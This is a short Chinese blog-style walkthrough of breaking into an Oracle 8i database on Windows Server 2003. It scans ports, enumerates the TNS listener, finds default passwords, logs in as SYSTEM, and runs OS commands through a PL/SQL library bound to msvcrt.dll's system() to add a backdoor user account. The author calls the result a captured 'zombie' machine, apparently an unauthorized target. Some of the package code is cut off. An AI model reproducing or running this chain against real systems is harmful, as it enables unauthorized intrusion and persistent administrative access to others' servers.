最近看了些有關 Oracle 的安全資料,看后隨手做了一個滲透測試,把過程記錄下來方便日后查閱.。先用 SuperScan4.0 掃描下要測試的主機,速度很快,結果如圖 1 所示
![]() |
圖1 |
端口 1521 是 Oracle 的 TNS Listener 默認監(jiān)聽的端口,通過掃描報告還可以看到 Oracle 的版本為 8i.現(xiàn)在還不知道對方的操作系統(tǒng)版本,看到主機還開放了終端服務,直接連上去看下操作系統(tǒng)版本.如圖 2
![]() |
圖2 |
確定操作系統(tǒng)版本為 Windows Server 2003 企業(yè)版。Oracle 10g 之前的版本默認情況下是允許遠程管理 TNS Listener 的,這臺主機的 Oracle 版本為 8i,我們通過 TNS Listenner 來收集下更多的詳細信息.如果本地安裝了 Oracle 可以直接調(diào)用 Lsnrctl 連接到測試的主機,如圖 3 所示:
![]() |
圖3 |
通過輸入"status "命令我們可以得到 oracle 詳細版本(8.1.70.0),操作系統(tǒng)(Windows),跟蹤級別為 OFF(說明沒有開啟審核),安全性為 OFF(說明沒有設置 Listener 口令),日志文件的絕對路徑(判斷 Oracle 安裝路徑),數(shù)據(jù)庫的 SID(ccdr).
要遠程管理 Oracle, 需要知道 IP,數(shù)據(jù)庫的 SID,和連接的用戶名和密碼.IP 和 SID 我們已經(jīng)知道了. 接下來用oscanner 工具掃描下要測試主機是否存在默認的密碼.如圖 4 所示
![]() |
圖4 |
看來管理員安裝完 Oracle8i 后就沒有進行進一步的安全配置 , 所有的用戶名密碼都是默認的 . 在Oracle中,SYS/SYSTEM 都是具有 DBA 權限的帳戶,我這里選擇使用 SYSTEM/MA NAGER 來連接數(shù)據(jù)庫.
在本地用 Sqlplus 連接到目標 Oracle 數(shù)據(jù)庫,命令為:
SqlPlus system/manager@//victimip:1521/ccdr |
連接成功后,可以通過 PL/SQL 來運行 OS 命令,首先需要創(chuàng)建庫來定位 msvcrt.dll 文件.這里需要使用完整的路徑,通過剛才對主機的查點我們已經(jīng)知道操作系統(tǒng)為 win2003, 如果系統(tǒng)安裝到C盤的話 , 那msvcrt.dll 默認路徑就為
c:\windows\system32\msvcrt. |
創(chuàng)建庫的命令如下:
CREATE OR REPLACE LIBRARY exec_shell AS 'c:\windows\system32\msvcrt.dll';
接下來寫一個過程來調(diào)用 msvcrt.dll 里的 system()函數(shù).命令如下:
CREATE OR REPLACE PACKAGE oracmd IS |
創(chuàng)建完后,就可以運行 OS 命令了.由于主機已經(jīng)開放了終端服務,所以我這里添加個管理員,然后連接服務器.命 令如下:
exec oracmd.exec ('net user mickey imissyou /add'); |
帳戶創(chuàng)建完成后,如圖 5,就可以連接終端服務了,一臺肉雞到手了.:-)
![]() |
圖5 |